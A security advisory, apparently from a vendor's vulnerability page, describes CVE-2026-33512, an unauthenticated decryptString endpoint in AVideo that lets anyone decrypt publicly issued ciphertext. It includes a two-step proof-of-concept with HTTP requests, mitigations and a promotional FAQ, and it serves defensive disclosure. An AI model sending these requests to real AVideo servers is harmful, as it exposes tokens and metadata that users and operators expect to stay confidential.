CVE-2026-33512

The API plugin exposes a decryptString action without any authentication. Anyone can submit ciphertext and receive plaintext. Ciphertext is issued publicly (e.g., view/url2Embed.json.php), so any user can recover protected tokens/metadata. Severity: High.

Details

• Entry: plugin/API/get.json.php is unauthenticated.
• Handler: plugin/API/API.php get_api_decryptString() (lines ~5945–5966):

  $string = decryptString($_REQUEST['string']);
  return new ApiObject($string, empty($string));
  

  No APISecret or user check occurs before decrypting.
• Public ciphertext source: view/url2Embed.json.php returns playLink/playEmbedLink (encryptString(json_encode(...))) to any caller.

PoC

1. Obtain ciphertext:

   GET /view/url2Embed.json.php?url=https://example.com/video.mp4
   

   Copy playLink.
2. Decrypt without auth:

   POST /plugin/API/get.json.php?APIName=decryptString
   Content-Type: application/x-www-form-urlencoded
   
   string=<playLink ciphertext>
   

   Response contains the plaintext JSON (videoLink, title, users_id, etc.).

Mitigation

• Require API secret or authenticated/authorized user for decryptString, or remove the endpoint.
• Prefer one-way signatures (HMAC) instead of exposing generic decryption.
• Rotate encryption keys/salts after patch to invalidate exposed ciphertexts.

• Any encrypted payload produced by the platform can be decrypted by anyone.
• Leaks tokens/links intended to be confidential; enables replay and tampering where secrecy was assumed.

The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.

CVE-2026-33512 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

1. What is CVE-2026-33512? CVE-2026-33512 is a high-severity improper authentication vulnerability in wwbn/avideo (composer), affecting versions <= 26.0. No fixed version is listed yet. The application does not adequately verify the identity of a user, device, or process before granting access.
2. How severe is CVE-2026-33512? CVE-2026-33512 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of wwbn/avideo are affected by CVE-2026-33512? wwbn/avideo (composer) versions <= 26.0 is affected.
4. Is there a fix for CVE-2026-33512? No fixed version is listed for CVE-2026-33512 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-33512 exploitable, and should I be worried? Whether CVE-2026-33512 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-33512 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-33512? No fixed version is listed yet. In the interim: Keep the dependency up to date. Ensure authentication checks are present and cannot be bypassed by manipulating request parameters.